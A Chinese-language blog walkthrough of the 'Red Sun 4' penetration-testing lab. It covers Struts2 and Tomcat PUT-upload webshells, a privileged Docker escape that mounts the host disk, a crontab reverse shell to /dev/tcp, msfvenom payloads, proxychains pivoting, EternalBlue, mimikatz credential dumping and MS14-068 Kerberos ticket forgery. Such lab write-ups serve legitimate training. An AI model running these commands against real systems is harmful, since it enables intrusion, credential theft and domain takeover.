红日靶场 4


红日靶场 4

环境搭建

web:

image

win7:Dotest123DC

image

DC:

image

web 需要启动一下 docker

sudo docker start ec 17 09 ad

image

外网渗透

信息收集

扫网段获取 ip 地址

image

然后扫端口

image

这里几个端口都挺少见的

2001 是一个文件上传

image

2002 是 Apache 中间件的页面

image

2003 是 phpMyadmin 的页面

image

初始访问

2001 端口

这里 nmap 扫描出来是 Struts2,网页也显示是这个框架,尝试使用工具一把梭,成功了,有好多个漏洞(

image

成功 getshell 了,不过这里是在 docker 环境里面,不像正常的服务

image

接下来要尝试容器逃逸

容器逃逸(失败)

先收集信息

查看 IP 地址,发现不是 192 的 IP,又验证了是容器

image

查看提权信息,但是这里没有这个命令

capsh --print

查看挂载情况,看看有没有敏感信息

cat /proc/self/mounts

image

查看系统版本,这里的 linux 版本有点低

uname -a

image

查看特权模式,如果容器是以 --privileged 启动时,docker 会赋予主机级权限,可以读写所有设备文件并挂载宿主机磁盘

cat /proc/self/status | grep CapEff

image

然后用命令查看这个具体有什么特权,这里没有特权,只能尝试使用一些组件漏洞

capsh --decode=00000000a80425fb

image

尝试使用 msf 上线,会更好操作一些

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.154.130 LPORT=4444 -f elf -o shell.elf

image

msf 启动监听,执行文件后成功获得 meterpreter

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.154.130
set LPORT 4444

image

主动识别可用模块,但是这里把服务扫爆了(

use post/multi/recon/local_exploit_suggester
set SESSION 1

image

这里针对容器逃逸的好像就一个 exploit/linux/local/docker_cgroup_escape,但是也是需要特权的,没有成功

image

2002 端口

这里是一个 Apache Tomcat 的服务,版本是 8.5.19 搜索到有一个文件上传漏洞,这里后台有限制

image

直接用 burp 抓包,然后将请求方法修改为 PUT,成功上传文件,测试直接上传 jsp shell

image

image

直接上传 jsp 会被 waf,绕过方法是使用 /,直接上 webshell

image

成功 getshell

image

容器逃逸

这个容器可以看到有特权,这里有 cap_sys_admin 这个主要的特权

image

image

可以将宿主机的物理硬盘挂载到容器里,随意篡改,先查看容器中也没有宿主机的磁盘,这里确实有 /dev/sda1​,也有可能是 /dev/vda1

fdisk -l
lsblk

image

直接挂载这个磁盘,这里就可以修改宿主机的文件了,直接写 ssh 公钥

mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

image

ssh (失败)

创建 ssh 密钥,复制这个公钥文件

ssh-keygen -t rsa -b 4096 -f pentest_key -N ""

image

先在目标中创建一个 .ssh 目录并给权限

image

然后将刚才的公钥命名为 authorized_keys 上传,还需要赋予命令

chmod 600 /mnt/host/root/.ssh/authorized_keys

然后直接连接,但是这里没成功,应该是配置不允许,需要修改配置

# 允许 root 登录
sed -i 's/.*PermitRootLogin.*/PermitRootLogin yes/g' /mnt/host/etc/ssh/sshd_config

# 允许公钥认证
sed -i 's/.*PubkeyAuthentication.*/PubkeyAuthentication yes/g' /mnt/host/etc/ssh/sshd_config

但是这个需要重启,这里没有成功重启,于是失败

chroot(成功一半)

这个使用冰蝎的 shell 不成功,尝试 msf 上去行不行

image

成功了,容器逃逸,但是这里测试了一下,只是把物理磁盘逃逸出来了,查看 ip 还是 docker 中的 IP

chroot /mnt/host /bin/bash

image

crontab

写计划任务来反弹 shell,成功

这里不知道为什么前面 ssh 的重启写计划任务一直没有成功,可能就是不能用公钥连接把(

echo "bash -i >& /dev/tcp/192.168.154.130/6666 0>&1" > /mnt/host/1.sh
echo "* * * * * root bash /1.sh" >> /mnt/host/etc/crontab

image

2003 端口

内网渗透

隧道代理

这里要需要隧道代理出来,还是使用 msf 再次上线

image

然后就是配置代理

run autoroute -s 192.168.52.0/24
run autoroute -p

image

信息收集

这里可以发现内网的网段 192.168.52.0/24

image

然后扫内网,这个只扫描到了 195.168.52.130,这里应该还有一个 IP,发现是这个服务器的配置有问题,没有打开,其实应该是能扫到,这里就不重新扫了

proxychains4 nmap -Pn -sT -p 445,135,80 --open 192.168.52.0/24

image

image

学到一个,这个很快

proxychains4 fping -aqg 192.168.52.0/24

image

然后重新扫描常用端口

proxychains nmap -sV -T4 192.168.52.130

image

image

有 445 端口,先尝试一下永恒之蓝

use exploit/windows/smb/ms17_010_eternalblue 
# 设置正向连接,让目标机开放一个端口进行监听,攻击机主动连接这个端口
set payload windows/x64/meterpreter/bind_tcp
set proxies socks5:127.0.0.1:1080
# 设置了一个自动运行的后渗透脚本,只要建立会话,就立即进程迁移
set autorunscript post/windows/manage/migrate

这里没有设置这个进程迁移就会一直失败

image

成功拿到了用户密码

image

在用户的桌面发现了一个工具 MS14-068

image

查看这些参数

image

-u:用户名@域名

-s:用户 SID

-d:域控制器地址

-p:明文密码

--rc4:没有明文密码的情况下使用 NTLM hash 登录

接下来就是收集这些信息

kiwi_cmd sekurlsa::logonpasswords

image

这个漏洞的原理是一个叫做 PAC​ 的认证,用户请求域控时,就会将用户的信息打包成 PAC​,放在 TGT 中发给用户,并且会签名
但是在有漏洞的地方,域控允许客户端指定签名算法,导致域控会将伪造的 PAC 封装成一个新的 TGT 返回给攻击者

MS14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.52.130 -p Dotest123

image

这里会返回一个票据注入到内存中,我们还需要将这个票据注入到内存中

image

# 清空当前会话的票据
kerberos::purge 
# 注入伪造的票据
kerberos::ptc TGT_douser@demo.com.ccache

image

然后就拥有了域控权限

image

这里的工具都给备好,直接使用,测试已经成功了

image


文章作者: Marin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Marin !
  目录